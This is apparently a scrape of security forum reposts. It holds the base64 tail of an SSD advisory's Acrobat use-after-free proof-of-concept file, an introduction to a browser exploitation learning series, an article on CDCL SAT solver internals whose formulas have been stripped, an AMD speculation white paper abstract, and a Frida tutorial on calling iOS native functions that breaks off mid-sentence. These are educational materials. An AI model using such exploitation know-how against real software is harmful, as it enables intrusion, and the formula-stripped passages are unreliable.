NCg0KeHJlZg0KMCA4DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTAgMDAwMDAgbg0KMD AwMDAwMDEzNSAwMDAwMCBuDQowMDAwMDAwMjAyIDAwMDAwIG4NCjAwMDAwMDAzMzkgMDAwMDAgb g0KMDAwMDAwMDg5MyAwMDAwMCBuDQowMDAwMDAwOTcwIDAwMDAwIG4NCjAwMDAwMDEwMjggMDAw MDAgbg0KdHJhaWxlcg0KPDwgL1NpemUgOA0KL1Jvb3QgMSAwIFINID4+DQpzdGFydHhyZWYNCjE xMTkNCiUlRU9GDQo= Sursa: https://ssd-disclosure.com/archives/3980/ssd-advisory-adobe-acrobat-reader-dc-use-after-free
-
New Series: Getting Into Browser Exploitation - browser 0x00 19 May 2019 Browser ExploitationVlog TL;DR Introduction to the new series on Browser Exploitation! watch on YouTube Introduction For several years, I've been whining about the fact that I don't understand Browser Exploitation. I'm sure I've annoyed some people, and I apologize. I think I can theoretically understand this subject, but I kinda gave up and never really spent time trying it out practically. During the time of 33c3 CTF, there was a Firefox exploitation challenge, and I thought it would be a perfect time for me to get started in the field of Browser Exploitation. But back then, I already failed to compile a debug version of Firefox, and I gave up. Browser Exploitation has always been a scary topic for me and I had no clue where to start and soon it became a frustration (I'm sure many can relate to that). The strange thing is, In some way, I knew how to get in this field - I should watch one of my own videos like the "The Secret step-by-step Guide to learn Hacking". It just takes time to get good at something or even to learn new stuff, but it overwhelmed me. I already have a good understanding about the fundamentals of exploitation and I also have somewhat of an intuition on how Browser Exploitation might work - but only on an abstract level. I just couldn't get into it on a technical level. It's not that people keep the knowledge as a secret or something since there are not tons of resources on this subject, but there are more than what we might think, and it's just enough for us to get started. For example, Saelo's Phrack paper on Attacking Javascript Engines, or argp's article on Exploiting Firefox, or CTurt's PlayStation 4 WebKit exploit writeup that includes a commented exploit, or writeups from Project Zero and many others. Additionally, honorable mentions should also go to RET2Systems. They have a multi part writeup about the WebKit exploit that they used in Pwn2Own. Unfortunately I stumbled over this fairly late in my adventure of creating the series, but that would have been a great way to start too. Beyond all those resources, thanks to playing CTFs and engaging with the community, I know several people who could answer my questions. But instead of following my own advice on How(not) to ask a technical question, I bothered people by asking questions like "I don't know how to get started", "Please help meeee", "I don't understand this" and I got sick of this myself. Now it's about time I finally take responsibility and properly approach this. No magic I just need to sit down and invest the time necessary to learn. I know the process is slow and it will take time, but if we put the time and effort into it, we can learn anything. I've been whining for about four years or so, and I just feel that I was scared about this topic and I let it overwhelm me. But then I remembered that this was the same feeling I had when I got started in Security/Wargames/CTFs a couple of years ago and in the end, I was able to get into it as well. Now why not apply the same principles of learning in the case of Browser Exploitation? There's no Magic, it just takes time and persistence for you to be good at something. Rough plan At the 35c3, I saw Jonathan Jacobi's talk From Zero to Zero Day where he talks about his path of learning and finding an exploit in ChakraCore. In the beginning of the talk he is referencing one of my tweet as one piece of advice. Also Ned Williamson's talk on Attacking Chrome IPC, he reminds me of the fact that it takes a lot of practice and he shares how he approaches these challenges. These two talks played a huge role into why I've decided to tackle browser exploitation again. And so I recommend you to watch these two talks - they're great! Here's a rough plan on what you can expect from the series. Browser exploitation is a huge field with different browser engines and operating systems. Browsers are next to operating systems probably the most complex software, including many disciplines from computer science. So what do we look at? DOM, network layers, Javascript engines? If we were to pick one let's say Javascript Engines, there are many like v8, Chakra, Spidermonkey or JavaScriptCore. Well, all of these seem to be complicated, and it's easy to get overwhelmed, but since this is a long path with no proper route, we just have to start somewhere, and I choose JavaScriptCore. JavaScriptCore Here are my reasons why I chose this engine. My CTF teammate has published an exploit for JavaScriptCore, and it has a proof of concept for Safari, and as of getting started with this, my Safari was still vulnerable to this exploit. The above bug is similar to saelo's exploit for CVE-2018-4233, and also Niklas B has written a different implementation for the same bug. Both of the exploits are available on GitHub for us to look at. Recently, Zero Day Initiative has written a blog post about the same bug but from a different researcher's perspective. Additionally, I found a two-hour long video walkthrough by saelo on the case study of an older exploit in JavaScriptCore which is related to his Phrack paper on Attacking Javascript Engines. That was a goldmine, unfortunately it is in german. The fact that we have the same bug exploited in different ways, allows us to compare see it from a slightly different angles. Summary So this series is going to be about WebKit which uses JavaScriptCore as the Javascript engine. I'm going to be doing this on MacOS, but it should also be doable on Linux as well. If you don't have the experience with exploitation fundamentals, then it would be a good time for you to get started with my Binary Exploitation Series before jumping into the ocean of complexity. Additionally, I'd recommend you to play some Wargames and CTFs like OverTheWire, PicoCTF and Exploit Education to get the practical intuition necessary for this series. I would also like to mention that this series is not a replacement for a "professional training" on the topic. Like I already mentioned, I just got started with this topic, and this series is going to document my journey of learning browser exploitation - in a video format. This means I might say some wrong stuff due to the fact that I lack the experience. So from episode to episode you can see my process of learning and hopefully it motivates people like you as well. Anyway, we will start off the series by setting up the WebKit and JavaScriptCore and then learn a bit about the internals and how debug stuff. And slowly we'll make our way to Linus's and Niklas's exploits. So I hope you are as excited as I am. And if you like to support the free videos, I make you can support me through Patreon or Youtube Membership. Thanks ❤ Supported by SSD Secure Disclosure Supported by SSD Secure Disclosure Resources Linus's Exploit Niklas's Exploit ZDI's Blog Saelo's german class Saelo's article - Attacking JavaScript Engines ret2system's blog LiveOverflow (and PwnFunction) wannabe hacker... Sursa: https://liveoverflow.com/getting-into-browser-exploitation-new-series-introduction-browser-0x00/
-
Modern SAT solvers: fast, neat and underused (part 3 of N) By Martin Hořeňovský Apr 16th 2019Tags: SAT, Computer Science In the previous two parts (1, 2) we used a SAT solver as a black box that we feed input into, and it will (usually quickly) spit out an answer. In this part, we will look at how SAT solvers work and what heuristics and other tricks they employ in their quest for performance. Approaches to SAT solving Modern SAT solvers fall into one of two groups: local search based solvers and Conflict Driven Clause Learning (CDCL) based solvers. This post will concern itself with the latter for two simple reasons, one is that most of my experience is with CDCL solver, the second is that local-search based solvers are rarely used in practice. There are two main reasons for local search based SAT solvers dearth of practical usage: They are often not complete (they might not find a solution even if it exists) They are usually slower than the deterministic CDCL solvers They do however have their uses, e.g. when solving MaxSAT[1] problem, and have some interesting theoretical properties[2]. CDCL solvers The CDCL solvers are an evolution of the Davis-Putnam-Logemann-Loveland (DPLL) algorithm, which itself is a reasonably simple[3] improvement over the naive backtracking algorithm. CDCL is both complete (will answer "SAT" if a solution exists) and sound (it will not answer "SAT" for an unsatisfiable formula). I think that the best way to explain how CDCL works is to start with a naive backtracking algorithm and then show how the DPLL and CDCL algorithms improve upon it. Simple backtracking A (very) naive backtracking algorithm could work as follows: Pick a variable without an assigned truth value. If there are none, return SAT. Assign it a truth-value (true/false). Check if all clauses in our formula are still potentially satisfiable. If they are, go to 1. If they are not satisfiable, go to 2 and pick the other truth-value. If they are not satisfiable, and both truth-values have been tried, backtrack. If there is nowhere to backtrack, return UNSAT. This algorithm is obviously both complete and sound. It is also very inefficient, so let's start improving it. The first improvement we will make is to speed up the check for unsatisfiable clauses in step 3, but we need to introduce two new concepts to do so, positive literal and negative literal. A literal is positive if it evaluates to true given its variable truth value and negative otherwise. As an example, is positive literal when variable is set to false, and negative literal when variable is set to true. The trick we will use to speed up the check for unsatisfiable clauses is to update instead the state of our clauses based on variable assignment. This means that after step 2 we will take all clauses that contain a literal of the variable selected in step 1, and update them accordingly. If they contain a positive literal, they are satisfied, and we can remove them from further consideration completely. If they contain a negative literal, they cannot be satisfied using this variable, and we can remove the literal from them. If removing the negative literals creates an empty clause, then the clause is unsatisfiable under the current assignment, and we need to backtrack. The improved backtracking algorithm can thus be described as: Pick a variable without an assigned truth value. If there are none, return SAT. Assign it a truth-value (true/false). Remove all clauses with positive literals of the variable assignment. Remove all negative literals of the variable assignment. Check if an empty clause was created. If it was, try the other truth-value or backtrack. If it was not, go to 1. DPLL algorithm Given the implementation above, it can be seen that if step 4 creates a clause consisting of a single literal (called unit clause), we are provided with extra information. Specifically, it provides us with an assignment for the variable of the literal inside the unit clause, because the only way to satisfy a unit clause is to make the literal inside positive. We can then also apply steps 3 and 4 for this forced assignment, potentially creating new unit clauses in the process. This is called unit propagation. Another insight we could have is that if at any point, all literals of a variable have the same polarity, that is, they are either all negated or not, we can effectively remove that variable and all clauses that contain a literal of that variable[4]. This is called pure literal elimination. By adding these two tricks to our backtracking solver, we have reimplemented a DPLL solver[5]: Pick a variable without an assigned truth value. If there are none, return SAT. Assign it a truth-value (true/false). Remove all clauses with positive literals of the variable assignment. Remove all negative literals of the variable assignment. Keep performing unit propagation and pure literal elimination while possible. Check if an empty clause was created. If it was, try the other truth-value or backtrack. If it was not, go to 1. Obviously, the order in which variables are picked in step 1 and which truth-values are attempted first in step 2, has a significant impact on solver's runtime, and we will get to heuristics for these later. CDCL algorithm The difference between a DPLL solver and a CDCL solver is the introduction of something called non-chronological backtracking or backjumping. The idea behind it is that often, a conflict (an empty clause is created) is caused by a variable assignment that happened much sooner than it was detected, and if we could somehow identify when the conflict was caused, we could backtrack several steps at once, without running into the same conflict multiple times. The implementation of backjumping analyzes the current conflict via something called conflict clause, finds out the earliest variable assignment involved in the conflict and then jumps back to that assignment[6]. The conflict clause is also added to the problem, to avoid revisiting the parts of the search space that were involved in the conflict. If you want more details about how a CDCL SAT solver works, I recommend looking at the Chaff and the MiniSat solvers. Chaff is often seen as the first SAT solver performant enough to be of practical interest, while MiniSat was written in 2003 to show that implementing state of the art SAT solver can be quite easy, and its later versions are still used as the basis for some current solvers. Specifically, you can look at the paper on Chaff's construction, or at the nitty-gritty of MiniSat's implementation. MiniSat has a very liberal open source licence, and we provide a somewhat cleaned-up version in a GitHub repo. Performance tricks of CDCL SAT solvers It is important to remember that while modern CDCL SAT solvers are fast, they are not magic. Solving SAT problems is still in the NP complexity class, and if you randomly generate a non-trivial SAT instance with a few hundred variables, it will stop most solvers in their tracks. As a reminder, the Sudoku solver we built in the first post creates SAT instances with 729 variables and ~12k clauses. MiniSat then needs ~1.5 ms to solve them. Similarly, my employer's translation of master-key systems often creates problems with 100k-1M[7] variables and an order of magnitude more clauses. These large instances are then solved within a couple of minutes. In this section, we will look at the specific tricks used by the CDCL SAT solvers to achieve this excellent performance. Data structures Good data structures are the backbone of every performant program and SAT solvers are no exceptions. Some of the data structures are generic, and well-known outside solvers, such as custom memory managers that batch allocations and keep data laid out in a cache-friendly manner, other are pretty much specific to CDCL SAT solvers, such as the (2) watched literals scheme. I will skip over the tricks played with clause representation to ensure it is cache friendly because I want to make this post primarily about SAT specific tricks, and not generic tricks of the trade. This leaves us with the 2 watched literals trick. Let's backtrack a bit, and return to the first algorithm we wrote down for solving SAT. To improve upon it, we proposed a step where we update and evaluate clauses based on the currently assigned variable, so that satisfied clauses are removed, while unsatisfied clauses are shortened. This step is called BCP (binary constraint propagation). The naive implementation is simple, you can create a mapping between a variable and each clause that contains its literal when you are loading the problem, and then just iterate through all clauses relevant to a variable, either marking them as solved or shortening them. Backtracking is also surprisingly simple because when you unset a variable, you can restore the related clauses. However, the naive implementation is also very inefficient. The only time when we can propagate a clause is when it is unsatisfied and is down to a single unassigned literal, in which case we can use the unassigned literal for unit propagation. Visiting clauses that are either already satisfied, or are not yet down to single unassigned literal is thus a waste of time. This poses a question, how do we keep track of clause status, without explicitly updating them on every variable assignment change? 2 watched literals Enter the 2 watched literals algorithm/data structure/trick, pioneered by the Chaff solver[8]. The basic idea is that 2 literals from each clause are selected (watched), and the clause is only visited when one of them would be removed from the clause (in other words, its variable takes the opposite polarity). When a clause is visited, one of these four things happens All but one literal evaluate to false. This last literal is then unit propagated further. All literals evaluate to false. This particular assignment is UNSAT, and the solver must backtrack. At least one literal evaluates to true. Nothing to do. At least 2 literals are not assigned, and the clause is not satisfied. Remove this clause from the watchlist that brought us here, add it to a watchlist of different literal. This trick ensures that we only visit clauses with the potential to become unit-clauses, speeding up BCP significantly. It is not without its disadvantages though, using these lazy checks means that we cannot easily answer queries like "how many clauses currently have 3 unassigned literals" because the only thing we know about a clause is that it is either satisfied, or it still has at least 2 unassigned literals. Implementation of backtracking is also a bit trickier than using the naive implementation of BCP updates, but not overly so. Note that we do not restore the original watches when backtracking, we keep the replaced ones. The invariant provided by the watches still holds, and there is no reason to do the extra work. Over time, two more practical optimizations emerged: Store literals to propagate directly in watch for binary clauses Binary clauses consist of precisely two literals, and we use 2 watches per clause. In other words, once one of the watches is triggered, it will force unit-propagation to happen to the other literal. By specializing path for binary clauses, we can save time it would take to bring the clause from memory and determine that there is only one literal left, and instead, we can start propagating the assignment directly. Copy the watched literals into a separate location This is another optimization based around decreasing cache pressure when working with watches. As it turns out when a clause is examined because of a watch, the most common result of the visit is option 3, that is, the clause is satisfied, and there is nothing to do. Furthermore, the most common reason for the clause being satisfied is the other watched literal. Copying the watched literals of each clause into a separate location allows us to take advantage of this fact because we can check this case without reading the whole clause from memory, thus alleviating the cache pressure a bit[9]. Clause deletion In the introduction, I said that the difference between the DPLL and CDCL algorithms is that the latter learns new clauses during its search for a solution. This learning improves the scalability of CDCL significantly[10], but it also carries a potential for a significant slowdown, because each learnt clause takes up valuable memory and increases the time needed for BCP. Given that the upper bound on the number of learnable clauses is , storing all of the learnt clauses obviously does not work, and we need to have a strategy for pruning them. Let's start with a very naive strategy, first in, first out (FIFO). In this strategy, we decide on an upper limit of learnt clauses, and when adding a newly learnt clause exceeds this limit, the oldest learnt clause is deleted. This strategy avoids the problem with the ballooning number of learnt clauses, but at the cost of discarding potentially useful clauses. In fact, we are guaranteed to discard useful clauses because every learnt clause has a deterministic lifetime. Let's consider a different naive strategy, random removal. In this strategy, we again decide on an upper limit of learnt clauses, but this time the clause to remove is picked completely randomly. This has the advantage that while we might remove a useful clause, we are not guaranteed that we remove useful clauses. While this distinction might seem minor, the random pruning strategy usually outperforms the FIFO one. In practice, the number of kept clauses is not constant, but rather dynamic, and depends on the heuristic chosen for grading the quality of clauses. It is evident that a strategy that just keeps n best learnt clauses dominates both of these. The problem with this idea is that we need a way to score clauses on their usefulness, and doing so accurately might be even harder than solving the SAT instance in the first place. This means that we need to find a good (quickly computable and accurate) heuristic that can score a clause's usefulness. Clause usefulness heuristics The number of possible heuristics is virtually unlimited, especially if you count various hybrids and small tweaks, but in this post, we will look only at 3 of them. They are: Clause activity This heuristic is used by the MiniSat solver. A clause's activity is based on how recently it was used during conflict resolution, and clauses with low activity are removed from the learnt clause database. The idea behind this is that if a clause was involved in conflict resolution, it has helped us find a conflict quicker and thus let us skip over part of the search space. Conversely, if a clause has not been used for a while, then the slowdown and memory pressure it introduces is probably not worth keeping it around. Literal Block Distance (LBD) This heuristic was introduced in a 2009 paper and subsequently implemented in the Glucose solver. This heuristic assumes that we have a mapping between variables currently assigned a truth value and the decision level (recursion level) at which they were assigned that value. Given clause , is then calculated by taking the decision levels from variables of all literals in that clause, and counting how many different decision levels were in this set. The less there are, the better, and clauses for which are called glue clauses[11]. The idea is that they glue together variables from the higher (later) decision level (later in the search tree) to a variable[12] from a lower (earlier) decision level, and the solver can then use this clause to set these variables earlier after backtracking. Solvers that use the LBD heuristic for learnt clause management almost always keep all of the glue clauses and for removal only consider clauses where . Clause size The third heuristic we will look at is extremely simple, it is just the clause's size, , with a lower score being better. To understand the reason why shorter clauses are considered better, consider a unit clause . Adding this clause to a problem forces assignment , effectively removing about half of the possible search space. The story is similar for binary clauses, e.g. cuts out about of the possible variable assignments, because it forbids assignment . More generally, if we do not consider overlaps, an n-ary clause forbids possible variable assignments. It is worth considering that always holds for learnt clauses. Using clause size metric for learnt clause management is then done by picking a threshold k and splitting learnt clauses into two groups, those where and those where . Pruning the learnt clauses then only considers the latter group for removal, where the longer clauses are deleted first. It should also incorporate a bit of randomness, to give a chance to not delete the useful, but long, clause in lieu of the useless, but short(er), clause. The final rating of a clause is then . Let's compare these 3 heuristics across 3 criteria: How much is the clause's rating dependent on the path the solver took to learn this clause, or, how dynamic is the heuristic What does it base its claims of predictive strength on Real-world performance Here is a quick overview: Clause activity LBD Clause size Dynamicity High Some None[13] Prediction basis Clauses's recent performance How many decision layers are involved in the clause Size of the cut the clause makes in the decision tree Performance in the real world Used in MiniSat to good effect Used in Glucose to good effect MiniSat with randomized clause size as the management supposedly outperforms Glucose[14] There are various reasons why it is hard to compare different strategies for learnt clause management objectively. For starters, they are often implemented in entirely different solvers so they cannot be compared directly, and even if you vivify them and port these different strategies to the same solver, the results do not have to generalize. The different solvers might use different learning algorithms, different variable-selection heuristics (see below), different restart strategy and so on, and all of these design consideration must be optimized to work together. Another reason why generalization is hard is that different heuristics might perform differently on different kinds of instances, and the average user cares about their kind of instances a lot more than some idealized average. After all, my employer uses SAT in our core product, and if we could get 10% more performance for "our kind" of instances at the cost of a 10x slowdown on the other kinds, we would take it in a heartbeat. So, instead of trying to compare these heuristics objectively, I will leave you with some food for your thoughts: Glucose is seen as better performing than MiniSat, but a lot of it is its better performance on unsolvable instances, and there are more differences than just the learnt clause management More dynamic heuristics likely need more CPU and RAM for bookkeeping More static heuristics have to evaluate clauses with less instance-specific context As is often disclaimed, "past performance is no guarantee of future results." Variable heuristics As was already mentioned, the solver's performance on a specific problem strongly depends on the order in which it assigns values to variables. In other words, a quickly-computable heuristic approximating "good" order is an essential part of each CDCL solver. The first strong heuristic, VSIDS (Variable State Independent Decaying Sum), has also been introduced by the Chaff solver, and with minor tweaks, has remained the strongest heuristic for many years[15]. Before we look at the heuristics, how they work and what facts about the SAT structure they exploit, it should be noted that they are usually employed in tandem with purely random selection, to balance between the needs to exploit and to explore the search space. VSIDS VSIDS works by assigning each variable a score and then picking the variable with the highest score. If there are multiple options with the same score, then the tie has to be broken somehow, but the specifics don't matter too much. The scores are determined using a simple algorithm: Start with all counters initialized to 0. On conflict, increase the counter of all variables involved in the conflict by . Every j conflicts, decrease the counter of all variables by multiplying it with coefficient . The values for j, , and are picked via empirical testing, and for any reasonable implementation of VSIDS, it must always hold that . The original VSIDS implementation in the Chaff solver used to only increase counter of literals in the learnt clause, rather than of all involved literals, and it also decreased the counters significantly, but rarely ( , ). More modern implementations update more literals and decay the counters less, but more often (e.g. , ). This increases the cost of computing the VSIDS but makes the heuristic more responsive to changes in the current search space. Over time, various different modifications of VSIDS have emerged, and I want to showcase at least one of them. The paper that introduced this modification called it adaptVSIDS[16], short for adaptative VSIDS. The idea behind it is to dynamically change the value of depending on the quality of the learnt clauses, so that when the learnt clauses are of high quality, the solver stays in the same area of the search space for longer, and if the learnt clauses are of poor quality, it will move out of this area of the search space quicker. Specifically, it will increase when the learnt clauses are good, and decrease it when the learnt clauses are bad, as measured by a clause-quality metric such as LBD mentioned above. Learning Rate Based heuristics (LRB and friends) This is a relatively new family of heuristics (~2016 onwards), with a simple motivation: the big differences between the old DPLL algorithm and the modern CDCL one is that the latter learns about the structure of the problem it is solving. Thus, optimizing variable selection towards learning more is likely to perform better in the long run. However, while the idea is simple, implementation is much less so. Computing learning rate based heuristic boils down to solving an online reinforcement learning problem, specifically, it is the Multi-armed bandit (MAB) problem. Our MAB is also non-stationary, that is, the underlying reward (learning rate) distribution changes during play (solving the problem), which further complicates finding the solution. In the end, the algorithm applied is in many ways similar to VSIDS, in that a variant of exponential moving average (EMA), is applied to each variable and the one with the best score is selected at each step for branching. The important difference is that while VSIDS bumps each variable involved in a conflict by a fixed amount, the LRB heuristic assigns each variable a different payoff based on the amount of learning it has led to[17]. Restarts As mentioned in the first post, solving NP-complete problems (such as SAT) naturally leads to heavy-tailed run times. To deal with this, SAT solvers frequently "restart" their search to avoid the runs that take disproportionately longer. What restarting here means is that the solver unsets all variables and starts the search using different variable assignment order. While at first glance it might seem that restarts should be rare and become rarer as the solving has been going on for longer, so that the SAT solver can actually finish solving the problem, the trend has been towards more aggressive (frequent) restarts. The reason why frequent restarts help solve problems faster is that while the solver does forget all current variable assignments, it does keep some information, specifically it keeps learnt clauses, effectively sampling the search space, and it keeps the last assigned truth value of each variable, assigning them the same value the next time they are picked to be assigned[18]. Let's quickly examine 4 different restart strategies. Fixed restarts This one is simple, restart happens every n conflicts, and n does not change during the execution. This strategy is here only for completeness sake, as it has been abandoned long ago because of poor performance. Geometric restarts This is another simple strategy, where the time between restarts increases geometrically. What this does in practice is to restart often at the start, sampling the search space, and then provide the solver enough uninterrupted time to finish the search for a solution. Luby restarts In this strategy, the number of conflicts between 2 restarts is based on the Luby sequence. The Luby restart sequence is interesting in that it was proven to be optimal restart strategy for randomized search algorithms where the runs do not share information. While this is not true for SAT solving, Luby restarts have been quite successful anyway. The exact description of Luby restarts is that the ith restart happens after conflicts, where u is a constant and is defined as A less exact but more intuitive description of the Luby sequence is that all numbers in it are powers of two, and after a number is seen for the second time, the next number is twice as big. The following are the first 16 numbers in the sequence: From the above, we can see that this restart strategy tends towards frequent restarts, but some runs are kept running for much longer, and there is no upper limit on the longest possible time between two restarts. Glucose restarts Glucose restarts were popularized by the Glucose solver, and it is an extremely aggressive, dynamic restart strategy. The idea behind it is that instead of waiting for a fixed amount of conflicts, we restart when the last couple of learnt clauses are, on average, bad. A bit more precisely, if there were at least X conflicts (and thus X learnt clauses) since the last restart, and the average LBD of the last X learnt clauses was at least K times higher than the average LBD of all learnt clauses, it is time for another restart. Parameters X and K can be tweaked to achieve different restart frequency, and they are usually kept quite small, e.g. Glucose 2.1 uses and [19]. So what restart strategy is the best? There only correct answer is neither because while glucose restarts have been very successful in SAT competitions, they are heavily optimized towards the handling of industrial (real world problems encoded as SAT) unsatisfiable instances at the expense of being able to find solutions to problems that are actually satisfiable. In a similar vein, the Luby restarts heavily favor finding solutions to satisfiable industrial instances, at the expense of finding solutions to problems that are unsatisfiable[20]. In practice, the current state of the art sat solvers use various hybrids of these techniques, such as switching between periods with glucose restarts and Luby restarts, where the lengths of the periods increase geometrically, or switching between glucose restarts and running without any restarts, and so on. There have also been some experiments with using machine learning to learn a restart strategy. Preprocessing and Inprocessing The last (but not least) trick I want to cover is preprocessing, and inprocessing of the input SAT instance. The motivation for preprocessing is quite simple: the provided encoding of the problem is often less than optimal. No matter the reasons for this, the end result is the same, modern state of the art SAT solvers use various preprocessing and inprocessing techniques. The difference between preprocessing and inprocessing is straightforward. Preprocessing happens once, before the actual solving starts. Inprocessing occurs more than once because it is interleaved with the actual solving. While it is harder to implement inprocessing than preprocessing, using inprocessing carries 2 advantages: The solver does not have to pay the full processing cost at the start if the problem is easy Learnt clauses can be processed as well There are too many processing techniques to show them all, so in the interest of keeping this already long post at least somewhat palatable, I will show only two. Specifically, I want to explain self-subsumption (or self-subsuming resolution) and (bounded) variable elimination (BVE), but to explain them, I first have to explain resolution and subsumption. Let's start with subsumption. Given 2 clauses, A and B, A subsumes B, , iff every literal from A is also present in B. What this means practically is that A is more restrictive in regards to satisfiability than B, and thus B can be thrown away. Resolution is an inference rule that, given a set of existing clauses, allows us to create new clauses that do not change the satisfiability of the whole set of clauses because it is satisfied when its precursors are also satisfied. This is done by taking a pair of clauses that contain complementary literals, removing these complementary literals and splicing the rest of the clauses together. Complementary literals are literals where one of them is a negation of the other, e.g. and are complimentary, while and or and are not, because in the first pair the variables do not match and in the second pair, both literals have the same polarity. This sounds complex, but it really is not. Here is a simple example, where the two clauses above the line are originals, and the clause below the line is the result of resolving them together: A good way of thinking about how resolution works (and why it is correct) is to think through both of the possible assignments of variable . First, let us consider the case of . In this case, the first original clause is satisfied, and the only way to satisfy the second clause is to assign . This assignment means that the resolvent clause is also satisfied. The second option is to assign . This satisfies the second clause, and to satisfy the first one as well, we need to assign . This assignment also means that the resolvent clause is satisfied. With this knowledge in hand, we can look at self-subsumption. Given 2 clauses, A and B, and their resolvent R, A is self-subsumed by B iff (A is subsumed by R). This means that we can replace A with R, in effect shortening A by one literal. As an example, take as clause A and as clause B. The resolvent of these two clauses is , which subsumes A. This means that A is self-subsumed by B. (Bounded) variable elimination (BVE) is also simple. If we want to remove a specific variable x from a set of clauses, all we have to do is split all clauses containing that particular variable into two groups, one with all clauses where the variable's literal has positive polarity, and one with all clauses where the variable's literal has negative polarity. If we then resolve each clause from the first group with each clause from the second group, we get a (potentially large) set of resolvents without x. If we then replace the original clauses with the resolvents, we removed x from the original set of clauses, without changing the satisfiability of the set as a whole. Unlike self-subsumption, which will always simplify the SAT instance, variable elimination might make it harder. The reason is that it trades a variable for clauses, which might be beneficial, but does not have to be. This leads to the idea of bounded variable elimination, where a variable is only eliminated if the resulting number of clauses is bounded in some way, e.g. in the total number of added clauses[21], or the size of resulting clauses. That's it for part 3, but not for this series, because I still have at least two more posts planned, one of which will again be theoretical. Simple explanation of the MaxSAT problem is that you have to find how many clauses in an unsatisfiable SAT problem can be satisfied. ↩︎ Determinizing a local-search algorithm has proven that the upper-bound on algorithmic complexity of solving a generic CNF-SAT with n variables and m clauses is You can improve this significantly if you limit yourself to 3-SAT (SAT where every clause consists of exactly 3 literals), to just Sursa: https://codingnest.com/modern-sat-solvers-fast-neat-and-underused-part-3-of-n/
-
WHITE PAPER: SPECULATION BEHAVIOR IN AMD MICRO-ARCHITECTURES2 INTRODUCTION This document provides in depth descriptions of AMD CPU micro-architecture and how it handles speculative execution in a variety of architectural scenarios. This document is referring to the latest Family 17h processors which include AMD’s Ryzen™ and EPYC™ processors, unless otherwise specified. This document does necessarily describe general micro-architectural principles that exist in all AMD microprocessors. AMD’s processor architecture includes hardware protection checks that AMD believes help AMD processors not be affected by many side-channel vulnerabilities. These checks happen in various speculation scenarios including during TLB validation, architectural exception handling, loads and floating point operations. Sursa: https://www.amd.com/system/files/documents/security-whitepaper.pdf
-
Calling iOS Native Functions from Python Using Frida and RPC
Nytro posted a topic in Mobile security
0x04 Calling iOS Native Functions from Python Using Frida and RPC Today we’ll learn how to use Frida’s NativeFunction in order to create and call iOS native functions from Python. We’ll then go one step further and use RPC to call the same (remote) iOS functions as if they were local Python functions. The initial inspiration for this blog post came from a funny tweet by @CodeColorist a while ago. If you haven’t tried to run the mentioned line yet, please do it. Open the Frida REPL and type it: new NativeFunction(Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound'), 'void', ['int'])(1007) Let’s Dissect the one-liner So, what’s actually happening here? The line is calling the AudioServicesPlaySystemSound function from the AudioToolbox framework. The Audio Toolbox framework provides interfaces for recording, playback, and stream parsing. It includes System Sound Services, which provides a C interface for playing short sounds and for invoking vibration on iOS devices that support vibration. In terms of Frida: a framework -> a module object a function -> a native function object for that method / export of that module Now we can dissect and rewrite the JavaScript one-liner like this: var address = Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound') var play_sound = new NativeFunction(address, 'void', ['int']) play_sound(1007) This reveals now each of the steps involved: get the absolute address of that export living inside a module create a native function object with the correct return value and input parameters call a native function using custom parameters Let’s explore and understand each of them. Getting the Absolute Address of an Export The function that we need is AudioServicesPlaySystemSound. This function is exported by the AudioToolbox module. You can optionally verify it this way: [iPhone::Telegram]-> Module.enumerateExportsSync('AudioToolbox') ... { "address": "0x186cf4e88", "name": "AudioServicesPlaySystemSound", "type": "function" }, { "address": "0x186cf4e70", "name": "AudioServicesPlaySystemSoundWithCompletion", "type": "function" }, { "address": "0x186cf3f58", "name": "AudioServicesPlaySystemSoundWithOptions", "type": "function" }, ... This is how to get the absolute address of that export via Module.findExportByName(moduleName, exportName) (part of Frida’s Module API): var address = Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound') As you may expect it is the same address as we’ve seen above (0x186cf4e88). We use this method for convenience instead of calling Module.enumerateExportsSync and searching for the address manually. Creating a Native Function In order to call the native function corresponding to that address, we still have to create a native function object with Frida’s NativeFunction which follows the following structure new NativeFunction(address, returnType, argTypes), where address is the absolute address. returnType specifies the return type. argTypes array specifies the argument types. When playing around with Frida I recommend you to always check the APIs and examples in https://www.frida.re/docs/home/ We have already the address. It’d be cool if we had the signature of this function in order to get returnType and argTypes. No hacking is required for this, just think now as a developer that wants to use this method, where would you get the info? Yes, from Apple docs void AudioServicesPlaySystemSound(SystemSoundID inSystemSoundID); It receives a SystemSoundID which is a UInt32 -> ‘int’ or ‘uint32’ for Frida It returns void -> ‘void’ for Frida And that’s how we come up with var play_sound = new NativeFunction(address, 'void', ['int']) Remember that in a NativeFunction param 2 is the return value type and param 3 is an array of input types Calling a Native Function At this point we have our NativeFunction stored in the play_sound variable. Call it just like a regular function play_sound() and also remember to give the (int) input parameter: play_sound(1007). Putting it all together: var address = Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound') var play_sound = new NativeFunction(address, 'void', ['int']) play_sound(1007) We can refactor those lines as: var play_sound = new NativeFunction(Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound'), 'void', ['int']) play_sound(1007) which is also equivalent to: new NativeFunction(Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound'), 'void', ['int'])(1007) Now, we’re again where we started Let’s play some more music A quick search reveals more codes that we can use to play more sounds: http://iphonedevwiki.net/index.php/AudioServices The audio files are stored in /System/Library/Audio/UISounds/: iPhone:~ root# ls /System/Library/Audio/UISounds/ ReceivedMessage.caf RingerChanged.caf SIMToolkitSMS.caf SentMessage.caf Swish.caf Tink.caf ... But it would be too boring to just download the files and play them. We will use the previous one-liner to build a little Frida script (audiobox.js? // audiobox.js console.log('Tags: sms, email, lock, photo') function play(tag) { switch(tag) { case 'sms': _play(1007) break; case 'email': _play(1000) break; case 'lock': _play(1100) break; case 'photo': _play(1108) break; } } function _play(code) { new NativeFunction(Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound'), 'void', ['int'])(code) } Once we load it to the Frida REPL frida -U Telegram -l audiobox.js we can simply call play('sms'), play('lock'), etc. to play all the available sounds. Note: We will be attaching to Telegram for our examples. The target app actually doesn’t matter in this case as the functions we will be calling are all system functions. If you’re working with native functions of a specific app you should then attach to that app instead. Using Frida’s RPC Frida allows to call functions via RPC e.g. from Python. Which means that we are able to call the app’s methods as if they were Python methods! Isn’t that cool? We just have to rewrite our Frida script like this 